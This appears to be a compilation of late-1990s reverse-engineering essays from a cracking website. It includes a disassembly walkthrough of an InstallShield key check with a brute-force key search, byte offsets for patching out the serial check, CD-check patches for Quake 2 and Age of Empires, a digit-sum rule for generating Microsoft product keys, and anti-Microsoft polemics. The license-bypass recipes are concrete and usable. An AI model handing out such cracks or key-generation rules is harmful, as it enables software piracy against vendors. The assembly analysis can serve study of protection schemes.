:100013AC 33C0 xor eax, eax BAD BOY! :100013AE 5F pop edi :100013AF 5E pop esi
:100013B0 5B pop ebx :100013B1 83C434 add esp, 00000034 :100013B4 C20400 ret 0004
(12) This part calculates our KEY length and then it checks if it is (13) 13 (0Dh)
diggits long. If not it will return with eax="0" BAD BOY! * Referenced by a Jump at
Address:100013AA(C) | :100013B7 8D44240C lea eax, [esp + 0C] eax points to the KEY at
[esp+0C] :100013BB 50 push eax Handle it to Sub :100013BC E87F000000 call 10001440
(14) Generate code :100013C1 3D377B0E00 cmp eax, 000E7B37 (15) Compare code with
E7B37 :100013C6 7565 jne 1000142D If not equal then goto 1000142D BAD BOY ! :100013C8
0FBE4C240C movsx byte ptr ecx, [esp + 0C] (16) ecx="1." number from KEY :100013CD
8D1489 lea edx, [ecx + 4*ecx] edx="ecx*5" :100013D0 0FBE44240F movsx byte ptr eax,
[esp + 0F] eax="4." number from KEY :100013D5 8D0C50 lea ecx, [eax + 2*edx]
ecx="edx*2+eax" :100013D8 8D1489 lea edx, [ecx + 4*ecx] edx="ecx*5" :100013DB
0FBE442410 movsx byte ptr eax, [esp + 10] eax="5." number from KEY :100013E0 8D0C50
lea ecx, [eax + 2*edx] ecx="edx*2+eax" :100013E3 8D1489 lea edx, [ecx + 4*ecx]
edx="ecx*5" :100013E6 0FBE442411 movsx byte ptr eax, [esp + 11] eax="6." number from
KEY :100013EB 8D0C50 lea ecx, [eax + 2*edx] ecx="edx*2+eax" :100013EE 2B0D54610010
sub ecx, [10006154] (17) Sub App-ID (E11) :100013F4 81F950D00000 cmp ecx, 0000D050
(18) Compare with D050 :100013FA 7531 jne 1000142D If not equal then goto 1000142D
BAD BOY :100013FC 8D7C240C lea edi, [esp + 0C] (19) edi points to the KEY :10001400
B9FFFFFFFF mov ecx, FFFFFFFF Set counter to FFFFFFFF :10001405 2BC0 sub eax, eax Set
eax="0" :10001407 F2 repnz :10001408 AE scasb Scan KEY for "0"="End" :10001409 F7D1
not ecx ecx="KEY" length+1 :1000140B 2BF9 sub edi, ecx Adjust edi back :1000140D 8BC1
mov eax, ecx eax="ecx" :1000140F C1E902 shr ecx, 02 ecx="ecx/4=3" :10001412 8BF7 mov
esi, edi esi points to the KEY :10001414 8BFB mov edi, ebx edi="old" location of KEY
:10001416 F3 repz :10001417 A5 movsd Copy KEY to old location :10001418 8BC8 mov ecx,
eax ecx="KEY" length :1000141A 83E103 and ecx, 00000003 ecx="mod" ecx/4="1" :1000141D
F3 repz :1000141E A4 movsb Copy last byte(s) :1000141F B801000000 mov eax, 00000001
eax="1" GOOD BOY! :10001424 5F pop edi :10001425 5E pop esi :10001426 5B pop ebx
:10001427 83C434 add esp, 00000034 :1000142A C20400 ret 0004 * Referenced by a Jump
at Addresses:100013C6(C), :100013FA(C) | :1000142D 33C0 xor eax, eax (20) eax="0" BAD
BOY! :1000142F 5F pop edi :10001430 5E pop esi :10001431 5B pop ebx :10001432 83C434
add esp, 00000034 :10001435 C20400 ret 0004 To reverse engineer a KEY-Check i start
at the end of the routine. I mean where the final check occures!. This will happen at
line (18) 100013F4. Here ecx must be D050. Now lets go back to the previous line.
Here ecx will be subtracted by E11 the App-ID, this means ecx must be D050+E11="DE61"
at this point!! Now let us see what the instructions at (16) does ! Well, let me
first extract the few lines from 100013C8 100013EB into a more comfortable format for
you : (1000,100 and 10 are in decimal ; numbers are in asc-II!) ecx="(" ( (1. number)
* 10 + 4. number ) * 10 ) + 5. number ) * 10 ) + 6. number After simplification we
get : ecx="1." number * 1000 + 4. number *100 + 5. number *10 + 6. number Hmm, now we
know how ecx is calculated, but whats D050 ? Well, if we typed in "0"="48=30h" as our
1.,4.,5. and 6. number, then we will get : ecx="30h" * 1000d + 30h * 100d + 30h * 10d
+ 30h="D050!" And now consider that E11 h="3601" d="3" * 1000d + 6 * 100d + 0 * 10d +
1! Now guess what our 4 numbers are ;)! Yes, thats right... the 1st number must be 3!
the 4th number must be 6! the 5th number must be 0! and the 6th number must be 1! So
our KEY is build like this "3xx601xxxxxxx" ,hehe! Ok, lets look back before (16) (14)
This will call a sub at 10001440 which will calculate a code with our KEY. (15) This
code will be compared with E7B37! If this compare fails we will land at (20) 1000142D
BAD BOY! Let us first examine the sub which generates the code... :10001440 56 push
esi Save esi :10001441 33D2 xor edx, edx edx="0" :10001443 57 push edi Save edi
:10001444 33C9 xor ecx, ecx ecx="0," this will be our char position counter :10001446
8B74240C mov esi, [esp + 0C] esi will point to our KEY :1000144A 380E cmp [esi], cl
Is the KEY emty ? :1000144C 7419 je 10001467 If yes goto 10001467 and return with
code="0" * Referenced by a Jump at Address:10001465(C) | :1000144E C1E206 shl edx, 06
(21) edx="edx*2^6=edx*64d=edx*40h" :10001451 BFE1D61200 mov edi, 0012D6E1
edi="12D6E1" :10001456 0FBE040E movsx byte ptr eax, [esi + ecx] (22) get next number
from our KEY :1000145A 03C2 add eax, edx eax="eax+edx" :1000145C 41 inc ecx
ecx="ecx+1," counter +1 :1000145D 2BD2 sub edx, edx edx="0" :1000145F F7F7 div edi
(23) eax="eax/edi," edx="mod" (eax/edi) :10001461 803C0E00 cmp byte ptr [esi + ecx],
00 Reach end of KEY ? :10001465 75E7 jne 1000144E If not goto 1000144E * Referenced
by a Jump at Address:1000144C(C) | :10001467 8BC2 mov eax, edx (24) eax="edx," the
code! :10001469 5F pop edi Restore edi :1000146A 5E pop esi Restore esi :1000146B
C20400 ret 0004 return To reverse this sub we must start at the end of it at line
10001467 (24)! eax="edx" is the code and it must be E7B37 (15)! (23) Here we see that
E7B37 is mod (eax/edi)="mod" (eax/12D6E1) (22) Well, this is shit!, because we will
loose information (eax) by each loop. What we know is that eax will be clipped after
every 4 number, because... 30*40*40*40+30*40*40+30*40+30="C30C30"> 12D6E1
Thus we can set a seed KEY "3xx6x1yyyyyyy", where x can be any number and
y will be the corrections.First go back to Setup and choice a seed KEY!
I used for example "3006010000000".
Trace to the location at line 100013C1 (15) where the code will be
compared with E7B37.
Trace over it to the next line 100013C6 and then we have to code a
little procedure.
* EBX is unused, so we will use it as counter. Type in "r ebx=0".
* Now type in "a" and let us add a little procedure, which will find
a valid KEY for us.
Please adjust the adresses yourself, since this will be typed directly
into memory!
The comparision at GO_ON makes sure that the App-ID will not be manipulated !!
* Ok, you typed in all this mess ;) Now you must clear all Break-Points "BC *"
* and then set a Break-Point on execution on line FOUND&FAIL!!
"BPX ".
Now leave SoftICE and wait.....
* To get out of this Loop set your EIP to 1000142D "r eip=1000142D" and clear all
Break-Points!
Then leave SoftICE, and you will be back in Setup. Cancel it and then start it
again
and use your valid KEY!
Let's summarize:
- KEY must contain 13 numbers.
- KEY has got 4 fixed numbers "3xx601yyyyyyy".
Its the App-ID (3601), which may differ in other
App from Twelve Tone Systems. Setup handles this App-ID to
INSHELP before he calls it.
- yyyyyyy can be found with Brute-Force-Cracking.
(SERIAL)
Well, the KEY was a little bit tricky, heh ? Anyway you are here now to face
the Serial!
Setup asks for a User-Name, Company and Serial, so lets type in sum crap.
I typed in "NaTzGUL" as User-Name, "REVOLT" as Company and "1234567890" as Serial.
Please proceed with the Serial like in the KEY Section!!
You will land into Setup!, damn the Script is doing the Check, brbrb!
I gave up! There are just too many push,pop and calls, believe me, else try it out!
__________________________
E) SECOND APPROACH
ASSUMPTION:
I assume that you have read the first Approach and that the App (INSHELP) is
now once more unpatched in any way !
- "IF,THEN,(ELSE)"
- "GOTO"
- "CALL"
- "RETURN()"
- "LOAD","OPEN","CLOSE"
- "MESSAGEBOX"
- etc.
IF cmp THEN....
LOWER-EQUAL JLE
GREATER-EQUAL JGE
LOWER JL
GREATER JG
NOT-EQUAL JNE
EQUAL JE
Byte_A is refering arg1, Byte_B gets the compare_type and Byte_C is referring arg2
and
also says if arg2 is a variable or constant.
You maybe have realised , that there are some mnemonics are missing.
As i mentioned this instruction should occure very often in
SETUP.INS, so i examined the file for this byte structure and me found out :
This will compare a variable with index 0x0001 and a varible with index 0x002
with the specific compare_type and then stores the result (0/1)
of this comparision into the variable with index 0x003.
Now what we need are the type of comparisions, hmm... how should we obtain
them?
Setup is executing this Script, so there is the place we have to
search for them!
Since the compare part of an IF-THEN instruction is what we really need for our
interest
you could now go directly to the START further below!
Otherwise learn more about other instructions and how they are build up =)
(result - arg_x) will be zero if they are equal else it will be not zero.
The result comes from the comparision and arg_x can be a varible or a constant.
BRANCH_TO_mnemonic = 22,0,70
SUB = 95 (in an IF-THEN instruction!)
The branch location will be an offset into the script and it is calculated
like this :
Just search for "_EWQ" and you will find it (Its linked at the end of the
script)!
2C,00,70,l_index
There are more instructions i have decrypted, but we dont need them
for this tutorial.
Its quite easy to write a Decompiler with this information and if
you have found out the location where Setup is executing the script
then its not that hard to see what it is doing depending on the mnemonic,
But thats another story and this tutorial is getting damn big enough!
START:
(CD-CHECK)
First think about how this check was written with the Script instructions !!
The easiest way may be done like this :
arg1=CALL(INSHELP,CD-CHECK)
IF arg1 = 0 THEN MESSAGEBOX "Setup must be run from the original CD":END
ELSE RETURN(1)
or this...
arg1=CALL(INSHELP,CD-CHECK)
IF arg1 != 0 THEN RETURN(1)
ELSE MESSAGEBOX "Setup must be run from the original
CD":RETURN(0)
After compiling this pice of code, the bytes would look like this :
or this...
Comparisions: Compare_type:
..B".p.B-.A. 63D0 00 00 00 7A 00 32 97 FF 52 9B FF 42 99 FF 28 01
...z.2RB(. 63E0 32 2D 00 42 97 FF 41 04 00 00 00 41 61 00 00 00
2-.BA....Aa... (4) 63F0 28 01 32 2E 00 42 97 FF 41 03 00 00 00 41 7A 00
(.2..BA....Az. (5) 6400 00 00 27 01 32 2F 00 42 2D 00 42 2E 00 28 01 32
..'.2/.B-.B..(.2 6410 2D 00 42 97 FF 41 04 00 00 00 41 41 00 00 00 28 .BA....AA...(
(6) 6420 01 32 2E 00 42 97 FF 41 03 00 00 00 41 5A 00 00 .2..BA....AZ.. (7) 6430 00
27 01 32 30 00 42 2D 00 42 2E 00 26 01 32 2D .'.20.B-.B..&.2- 6440 00 42 2F 00 42 30
00 22 00 70 DF 00 95 42 2D 00 .B/.B0.".p.B-. 6450 41 00 00 00 00 28 01 32 2E 00 42
99 FF 41 02 00 A....(.2..BA.. 6460 00 00 41 03 00 00 00 22 00 70 DD 00 95 42 2E 00
..A....".p.B.. 6470 41 00 00 00 00 2F 01 B7 00 41 00 00 00 00 00 00
A..../..A...... 6480 00 00 00 00 01 00 19 01 32 98 FF 42 98 FF 41 01
........2BA. 6490 00 00 00 00 00 00 00 00 00 08 00 28 01 32 2D 00
...........(.2-. 64A0 42 97 FF 41 04 00 00 00 41 30 00 00 00 28 01 32
BA....A0...(.2 (8) 64B0 2E 00 42 97 FF 41 03 00 00 00 41 39 00 00 00 27
..BA....A9...' (9) 64C0 01 32 2F 00 42 2D 00 42 2E 00 22 00 70 E3 00 95
.2/.B-.B..".p. 64D0 42 2F 00 41 00 00 00 00 28 01 32 2D 00 42 99 FF
B/.A....(.2-.B 64E0 41 01 00 00 00 41 03 00 00 00 22 00 70 E1 00 95
A....A....".p. 64F0 42 2D 00 41 00 00 00 00 2F 01 B7 00 41 00 00 00
B-.A..../..A... 6500 00 00 00 00 00 00 00 01 00 19 01 32 98 FF 42 98
...........2B 6510 FF 41 01 00 00 00 00 00 00 00 00 00 02 00 19 01
A.............. 6520 32 99 FF 42 99 FF 41 01 00 00 00 2C 00 70 DC 00
2BA....,.p. 6530 00 00 04 00 28 01 32 2D 00 42 98 FF 41 06 00 00
....(.2-.BA... (11) The Final check! 6540 00 41 0D 00 00 00 22 00 70 E6 00 95 42 2D
00 41 .A....".p.B-.A 6550 00 00 00 00 2F 01 B7 00 41 00 00 00 00 00 00 00
..../..A....... If you have change the byte at (3) offset (63BE) to 2 you will get
to the final check. (11) Setup will finally check if 13 chars of your serial were
valid! Just change byte at (11) offset (653D) to 5 and this Serial check will be
defeated! Summarize: You see now that Script Cracking is much easier than the first
approach! We only have to search for MessageBoxes and analyze the script. At all we
only have to edit (patch) the script and thats all=")" If i find out more
instructions then you even will be able to get a valid Serial(Keymaker)! A Decompiler
will follow anyway. Its only a question of time when it will be written so watch out
for it,hehe. __________________________ F) ADD-0ON This part will describe the most
common InstallSHIELD Installation. If Setup.exe (InstallSHIELD 2.x) is a 16 Bit
executeable, then its called The Installation launcher. It needs a support file
called _inst32i.ex_ to install under a win32 OS. This Installation is a bit different
from the one i have cracked in this Tutorial. _inst32i.ex_ is compressed but not with
icompx, but it dont matter! and it contains the following files : INSTALL.EXE
_INS0432._MP LZWSERV.EXE _INZ0432._MP WUTL95i.DLL _WUTL95.DLL BOOT16.EXE _INJ0432._MP
You can retrieve these File-Names at the beginning of _inst32i.ex_ by yourself. Setup
will do the initialization and then it uncompresses _inst32i.ex_ into your
Windows-Temp (C:\Windows\Temp). When ya start the Installation you will see the
following in Windows\Temp: <_ISTMP0.DIR> DIR This dir will be
created by _ins0432._mp!
_INS0432._MP 659 KB This is exactly Setup.exe from this
Tutorial !
_INZ0432._MP 20,1 KB This is LZWSERV.EXE (doing the
de-compress.)
_WUTIL95.DLL 36,0 KB A win95 support file
_ISTMP0.DIR content :
_SETUP.LIB 151 KB This is exactly the same compressed
lib file!
1f8584.DLL 89,0 KB Support DLL
_INSHELP.DLL 23,5 KB Yup, da same DLL!
You see now that there are the same files, but only renamed , thats all!
Copy and rename them if you wanna work with these files.
__________________________
G) WIN32.HLP
GetDriveType:
UINT GetDriveType(
lpRootPathName
Return Value
The return value specifies the type of drive. It can be one of the following values:
Value Meaning
0 The drive type cannot be determined.
1 The root directory does not exist.
2 The drive can be removed from the drive.
3 The disk cannot be removed from the drive.
4 The drive is a remote (network) drive.
5 The drive is a CD-ROM drive.
6 The drive is a RAM disk.
________
GetVolumeInformation:
BOOL GetVolumeInformation(
lpRootPathName
Points to a string that contains the root directory of the volume to be described.
If this parameter is NULL, the root of the current directory is used.
lpVolumeNameBuffer
nVolumeNameSize
lpVolumeSerialNumber
lpMaximumComponentLength
lpFileSystemFlags
Value Meaning
FS_CASE_IS_PRESERVED If this flag is set, the file system preserves
the case of filenames when it places a name on disk.
FS_CASE_SENSITIVE If this flag is set, the file system supports
case-sensitive filenames.
FS_UNICODE_STORED_ON_DISK If this flag is set, the file system
supports Unicode in filenames as they appear on disk.
lpFileSystemNameBuffer
nFileSystemNameSize
Return Value
Remarks
________
GetWindowText:
int GetWindowText(
hWnd
lpString
nMaxCount
Return Value
Remarks
This function causes a WM_GETTEXT message to be sent to the specified window or
control.
This function cannot retrieve the text of an edit control in another application.
__________________________
H) LAST WORDS
This is the end of this tutorial and i hope i could teach you
something , more or less.
If you have any questions, suggestions or just wanna gimme some feedback,
then just email me!
Also plz inform me if you have find out any error - iam only a human being =)
I dont exactly know what The next Tutorial (natz-2) will discuss yet,
So just watch out for it!
NaTzGUL/REVOLT
natzgul@hotmail.com
__________________________
I) GREETINGS
Groups:
PERSONAL:
You are deep inside fravia's page of reverse engineering, choose your way out:
by -= +DataPimp =-
(19 December 1997, slightly edited by fravia+)
Well that's what quake2 has been called. The game was released
in the USA on December 9th, although it has been availible for
download on the internet since last month.
Let's start off by running quake2, we run it and so far it has not
given us an error, ok let's try to start a new game, then all of a
sudden the protection scheme kicks us out and we get a message saying
"You must have the Quake2 CD in the drive to play".
Damn, now let's fix that error message. I think that this kind of
protections are wrong, companies do this on purpose, if they make you
have the cd in the drive at the time of play then you can't play network
games without everyone you want to play having a cd. It's unjust! I
bought my game and I want to play my bought game with my friends! Besides
I like to hear my own music when I play... and I should not be able
to use my own CD-drive to hear my own music in my own house? Companies
do this on purpose, they probably hate good music :)
Well let's fix that... in a few short minutes we will have it cracked.
towards the bottom you notice the text that we are looking for, so we
double click on it inside wdasm.
* StringData Ref from Data Obj ->"You must have the Quake2 CD in "
->"the drive to play."
Ok, let's fire up quake2 again, after of course you save the changes
that you have made to the file, and you will see now that you will be
able to launch a new game, if you feel like it.
So it has turned out now that we have totally completed the crack, our
target won't require the cd at all.
I hope this helps all people that love music.
If you have any questions or comments please contact me using one of
the methods below.
E-Mail: DataPimp@hotmail.com
ICQ: 5613620
Or Join #o13 on EFNet
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 4
by TWD
(28 December 1997, poorly edited by fravia+)
It's disgusting: man I could myself squeeze this crap into less than one half of these specs in a couple of hours! It's a
shame! "One of the most ambitious games we've ever seen..."? One of the most overbloated games we've ever seen!
Micro$oft bashing
~~~~~~~~~~~~~~~~~
Hi back again,
And anyway I need my own cd-drive free from my own bought CD-games
in order to hear my own music CD... something against this? :-)
End of digression
~~~~~~~~~~~~~~~~~
will be.
This is sure confirmed if you take a look at "Age of Empires".
The path to the CD is stored in the registry and only needed to find
the oversized AVI philez.
...
As you can see, not only the type of drive is checked, but also the name
of the drive.
In ecx is the pointer to the name of the CD currently in your CD-ROM, in
eax is the pointer to the expected name : "AOE"
else it is zero.
To patch "Age of Empires", this function has to return "01" every time
it is called. No problem for us, of course: let's look at the top of
the function :
As we can see from the small piece of code above, the only thing which
is to do, is to blast the jne at 004d6567. If this is done, the function
will always return "eax = 01".
After I nopped out some bytes (in my essay about W32Dasm 8.7) I was mildly
criticized by fravia+, now I learned and I prefer to use this sequence :
41 inc ecx
49 dec ecx
This one is doing nothing as good as two nops would do, but it can not
be detected by some protection algorithms.
Summary
~~~~~~~
"Age of Empires" was as silly and easy to cheat as most of the time trial
versions, created by Micro$oft. The patch can be reduced to a single "jne
blasting out", this should, normally, be too easy to be true, yet most of
these games compel in such a silly way legitime users to occupy their own
CD-drive with a CD-ROM they have NOT chosen to have there!
the whole net. If you want to find any knowledge about cracking
(or computers in a more general way), pay a visit to
http://www.fravia.org
This was our Micro$oft cracking for today, questions can -as usual-
be asked at :
mailto:twd.rulez@gmx.net?subject=I've got a question about Micro$oftcracking...
TWD
ObStupidreaders
Of course you should BUY this overbloated game (you better buy a Pentium 200 first, tough) and you should NOT
come to the idea of using only one Age of empires CD-ROM (if ever... you could of course find the razor distributed
copy on the web for free, if you seek) in order to 'seed' this game, as cracked above by TWD, in all your friends and
friends' friends and friends' friends' friends computers. This would be un-ethical, I'm afraid, since Micro$oft and their
overbloated programmers slaves would risk loosing some money thattaway. So don't do it, you scoundrels! I did'nt, I
bought my own copy: 0897 Part No. 92681: "Simply fill in the card, choose your local Micro$oft office from the
leaflet..." :-)
You are deep inside fravia's page of reverse engineering, choose your way out:
Gates, diediedie!
A very important project, since our main
"holy" purpose is to eliminate this company
and its servants (and lackeys) from our planet.
The reasons should be obvious for anyone that
can understand the difference between buggy
and awful overbloated code and slick
operating systems and applications, else try
yourself to cut and paste two pages of text with
Microsoft's pathetical Word for windows and
you'll see what for crap many humans on this
planet are being compelled to use :-)
[Roberto Di Cosmo's "Dirty Micro$oft tricks"] CYBERSNARE: Don't tell me anymore that Micro$oft should be
allowed to exist
[Other dirty Micro$oft tricks] Don't tell me anymore that Micro$oft deserves a kindler treatment
[Operating System Sucks-Rules-O-Meter ] A wonderful way to use Altavista (Linux rules of course :-)
[Kenneth Barbalace's STOP M$] Make your pages MSIE unfriendly :-)
[YAMOO] Index of over 1,000 anti-Microsoft, anti-Gates, anti-Wintel, and anti-monopoly sites on the Internet. :-)
[All my Anti-MSIE scripts] Shut those lusers using MSIE out of your site (or redirect them to download Opera) :-)
Our essays
PHASE 1 by ViceVersa+:
TAKE NOTE: The ESSAYS continue below, after "A legitimate question"
A legitimate question
As TWD asks in his Frontpage essay: are our enemies at Micro$oft just faking "protections" while in the
reality GIVING AWAY FOR FREE their allegedly "protected" software in order to destroy any competition?
- M$-protection schemes are not even stupid, they are distressed :-)
- Many trial versions last 90 days (which is more than enough to
keep any luser happy until the next "trial" release)
- They give some programs away for free already, completely unprotected,
like for instance Iexplorer and FrontPage98 beta (Yes, FP98 has now
appeared *complete*, fully unrestricted, on many european magazine
CD-ROMS covers)
Yet I would like to observe a couple of things:
THEY GIVE AWAY ONLY PROGRAMS THEY ARE "WAGING BATTLES" WITH
You wont see any trial copy of "M$-Office" or "M$-Excel"... and I haven't seen any trial version of flight simulator
98 either... because Gates makes MONEY with that stuff (of course, as you'll have read above, it would be
theoretically possible, if unpolite, to run a borrowed copy of Flight simulator from your own harddisk :-)
Anyway, if you will happen to see trial versions of these M$-product, that would be a pretty GOOD new: yessir, that
would mean that they are loosing ground either in the office-suites or in the 'spreadsheet' corporate word, or in the
flight simulator scene... that will mean that there appeared again some real "concurrence" (that they will have to ruin
anew, that's the aeternal cycle of 'commercial' subhuman life, I suppose :-(
The whole strategy is as banal as it is easy: they have as much money as they want through the OS-monopoly,
therefore they give away for free or "almost for free" or "bundled for free" a wordprocessor, say, until they bust
Wordperfect, say, and then, as soon as the concurrence is dead, Micro$oft will never ever again ameliorate that
crappie bugged software they pushed through and will leave the whole (incredibly stupid and gullible) world with a
tool (say "word", just to make an example :-) that everybody is de facto compelled to use and yet is so crappy that it
does not even allow you to cut and paste properly without seeing your screen text flash away like a rocket! (just try
to cut a longer text in Word and see if you are able to control your mouse! Those assholes did not ever bother to fix
this shame in their "new" pathetical Word98!).
I hate them... as I already said. Once more: Micro$oft gives away for free only SOME programs... right now they are
giving away for free (and therefore still improving) two main programs:
Micro$oft explorer to bust Netscape (this does not seem to work quickly enough for Gates, so they are already
bundling their browser and will bundle it more and more inside the OS, hoping that people will HAVE TO USE
explorer instead of Netscape as it will be a PART of the operating system itself, which leaves Netscape in the mud
to use an almost tautological circumlocution... who cares? Opera is there!
And they are giving away for free (1998) FrontPage98 BECAUSE THEY ARE NOT YET ESTABLISHED ON
THIS SOFTWARE SECTOR. Clearly Internet software hat now reached an importance that the smartest idiots at
Micro$oft never thought possible, and all their software (and operating system) risks to sink like CP-M did as soon
as we'll break free from the Microsoft-Intel devil alliance. Therefore they will do ANYTHING in order to get and
develop a grasp on all Internet-related things, mainly in order to destroy the positive advantages of the web.
Yet cracking their applications may be useful nevertheless: I believe that +ORC's crack of Microsoft publisher (that
you'll find inside his old lesson 4.2) has indeed damaged them a little: MS-Publisher WAS proposed as a trial
version and had a much bigger resell price at the beginning of 1997.
You see the real battle, in that sector, is among Pagemaker, X-press and other giants, Microsoft aimed the "home
newslettering" broad public with its Microsoft Publisher, a market where Microsoft has NO concurrence... I don't
believe they will ever publish a trial version of their Encarta thing... should they do I'll not reverse anything else
until I have cracked it!
And anyway...
WHO CARES WHAT THEIR 'clever' strategies and plans are
Remember +ORC's lesson 4.2: "the way they program they wont be able to dominate a portion of half-baked
potatoes". So let's merrily keep our +cracker's promise:
We'll deprotect ALL Micro$oft programs,
wherever they appear,
whatever they use as a protection scheme
Besides autumn 1998 carries very good news indeed for all M$-haters
1) their windows98 will enter software history as a huge flop... even zombie users, confused by all the windoze's
variants, are fleeing in droves to Linux, and I have never heard of anyone that went back from Linux to Windoze
without being pulled by his hairs :-)
2) their so ruthless fight against Netscape (they were almost winning at the end) has been now thwarted and
demonstrated useless and vain, by the incredible success of the (great) Opera browser... less than a million bytes and
MORE functionality than both Netscape and Micro$oft browsersaurii together! No wonder that almost everyone is
switching to Opera right now... among many other good reasons, I personally love the "do not load images"
immediate switch on Opera's status line, most useful to avoid at a click all unwanted and delaying useless
ads-banners when you sail the deep deep net and meet a 'commercialized' site.
Oh yes, yes, YES!... I wouldn't have dreamed this a year ago... but Micro$oft's grip is about to fade away... I feel it!
PHASE 7 by TWD:
Also useful!
spider.zip: Ward van Wanrooij's Wininet.dll secrets (Revealing hidden files which record user-activity ~ Added June
1999)
PHASE A by fravia+:
DR2000's solution for changing search page url in Internet Explorer 4.0
There is no built in future for changing search page url in Internet Explorer 4.0. But you can do it by changing one
key in the windows registry. You can use regedit.exe program for that purpose. Run regedit.exe and find the
following key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Search Bar.
Change it's value to the url of page you want (you can specify .html file on your hardisk). That's it! Now run Internet
Explorer, open search bar, and there it is - the page URL of which you specified.
Almost all of microsoft registration keys follow/will work with the following pattern 040-oem-7numbers that add up
to 14, eg. 040-0121028 - 0+1+2+1+0+2+8 = 14. If the program needs an extra number just add 0 also a few
programs will work with all 0 or all 9. (It is not widely know that windows will install if you use all 9's as the key,
However this will not work if it is already installed and you are installing to the same directory).
I find out that the TRUE rule is: SUM of _7_ digits must be integrally
divisible by _7_
After all it explains all mentioned patterns like 9999999 and the well
known 1111111.
If you access the Internet primarily by dial-up connection, Win95 may be holding you back... way back!
That's because, by default, Win95 optimizes some of its internal Internet settings for LANs, and not for modems.
For example, Win95 normally sets an MTU (Maximum Transmission Unit) packet size of 1500, an Ethernet
standard. But standard dial-up Internet connections use a packet size of 576 bytes. The packet-size mismatch can
lead to needless slowdowns. If you use your company's Ethernet LAN, leave MTU and its related settings alone. But
if you access via modem, grab a free copy of Mike Sutherland's MTU-Speed applet at
http://www.mjs.u-net.com/mtuspeed/mtuspeed.htm.
This nifty little utility lets you easily adjust MTU and various other Registry settings that can affect dial-up speed.
Some users report their download speeds have doubled after using the optimizations suggested by MTU-Speed!
Of course this kind of solution leave you still with a slow and buggy operating system... the real correct solution is
to cross over to Linux!. And I don't know of anybody that went back to Windoze after having tried Linux...
M$-Mail has a feature that allows M$-Mail users to exchange fully-formatted messages (fonts, italics, etc.), by
attaching an RTF (Rich Text Format) file to the message. Another M$-Mail user will see the formatted version,
while any other email program will show the ASCII message plus the attachment. M$ made this option enabled by
default, so many M$-Mail users have no idea that they are annoying the rest of the world.
When Exchange thinks that it is sending mail to another Exchange user on the Internet, Exchange (more properly,
the Internet Mail message service provider) encodes the message, along with attached files, embedded OLE objects,
and their associated icons, into a special data block called the TNEF (pronounced tee-neff) block. This block
encapsulates the complete original content of the Exchange message, so that the message arrives at its destination
with all proper formatting intact, including boldface, underlining, fonts, and colors. Otherwise, Exchange formats
the message in an Internet-standard fashion, discarding all rich text attributes and ensuring that all attached files
appear as standard attachments.
The problem arises when people not using Exchange or Outlook receive a message in the TNEF format: instead of
seeing a formatted message, they see a big chunk of UUENCODE data if the sender used UUENCODE format, or a
MIME body part application/ms-tnef if the sender used MIME. Depending on which mail program they use, they
may either see a long sequence of hexadecimal digits, or they may see an attached binary file named
WINMAIL.DAT.
Click on the Services tab, and select Internet Mail from the list. If Internet Mail is not listed, click Add - add
this service.
Click Properties, and then Message Format. Turn off the option that reads Use MIME when sending
messages.
Click OK and then OK again.
Step #2:
Double-click on the name of each recipient in your Address Book.
Turn off the option that reads Always send to this recipient in Micro$oft rich-text format.
This option needs to be set for each recipient of a message - if even one has this turned on, all recipients will
still get the attachment.
Note: Either of these methods should work for most users, but sometimes nothing seems to work - yet another
brilliant design strategy by M$. I you plan to be sending lots of internet email, you should seriously consider using a
mail program more suited to the task, such as Pegasus or Eudora.
Note: A bug in Exchange may cause line feeds to be replaced with equal signs when rich-text mail is disabled.
So the best solution is actually to get rid of Outlook right now! (See below)
You live in San Francisco and go to New York for business. You enter all your business meetings in M$ Outlook's
calendar on your windoze laptop before you leave. You fly to New York and adjust your location (time zone) so
your computer will what time it is. Then you miss a crucial appointment because the calendar claims a meeting is at
15:00 even though you said it was at noon.
All your appointments get time shifted when you change your location. They claim this is a feature. I kid you not.
I can only guess that somebody decided appointments should be stored as GMT and then displayed as local times
depending on the time zone the computer thinks it's in.
As to why they thought this was a good thing, I have no clue. (G.Marriot)
If you enter a number, say 123456789999 in Excel and save the file as comma delimited (*.csv format) it will be
saved as 1.234567E+11. Quite a few programs can't import this properly, including Word. But what's worse,
bringing it back into Excel gives you 123456700000. I think the risks are fairly obvious. I wonder if the large banks
which have standardized on Excel know about it... :-) When opening an account therefore you not only do need to
ask banks the interest rates, fees etc, but also what software they use. And avoid all those that use M$-programs!
Outlook express is an incredibly buggy Micro$oft's application, that will fill your (and others) emailboxes with all
sort of useless attachments, weird little graphic codes and other useless cram. Besides it's slow, huge and utterly
frill-oriented.
So, change NOW and go over to one of the most commonly used applications, you'll never regret it!
Drop" support and almost everything else you can think of.
Eudora Lite (for all windoze sorts): eul306.exe
Eudora Pro (you should pay for it): EudoraPro
Pegasus: A really good E-mail program that's free. It has a lot of nice features like a spelling checker, mailing list
support, and much more.
Pegasus 16 bit: w16-301d.exe
Pegasus 32-bit: w32-301d.exe
Of course if you just do a quick search for "email clients" you'll find HUNDRED of other appz, so, the point is that
YOU ARE NOT COMPELLED TO USE OUTLOOK just because some clown has installed that crap onto your
computer! Get rid of it!
Free your valuable harddisk space!
sink Gates!
Well... soon or later I would have had to teach you how to fish info through clever placed trolls anyway, so learn it
right now... (I'm just speaking for those among you that did not know this trick already, of course :-) ...Unix-related
trolls (or Linux ones) on usenet can fetch a huge amount of interesting info, if cleverly placed.
>> I get this feeling that your anti-MS because your an old school UNIX weenie
>> that hates the fact of MS-NT eating your lunch with zero administration and
>> fast setup?
I can vouch for this somewhat, having to deal with an NT box at work,
although it's actually given us little trouble. The reason for this
is that we have only *one* mission-critical function running on NT:
our proxy server. The only other tasks it's used for are backing up
the network and file/application serving, neither of which would
cripple us if the box puked tomorrow. The *real* important stuff runs
What slays me about Microsoft is how badly their software can coexist
with other products, *including their own*. A classic example is
their aforementioned Proxy Server. When you set up NT with the Option
Pack and Service Pack 3, it installs Internet Information Server 4.0
by default. Which is fine, except for one small detail: it *breaks*
Proxy Server. We had to back IIS 4.0 out of the system and install
IIS 3.0, which has no trouble working with Proxy Server. AFAIK, there
is still no fix to get Proxy Server working properly with IIS 4.0.
>> UNIX hit rock bottom 2 years ago when the DOD shit canned it due to it high
>> cost. NT is cheaper and faster to use. Who in their right mind would spend
>> $1,500 for a crude UNIX OS when NT is better and almost $ 1,300 cheaper???
First answer
Well, why would you need to spend $1500 when you can get your pick of
various *BSD and Linux OS's for either the cost of the CD, or the time
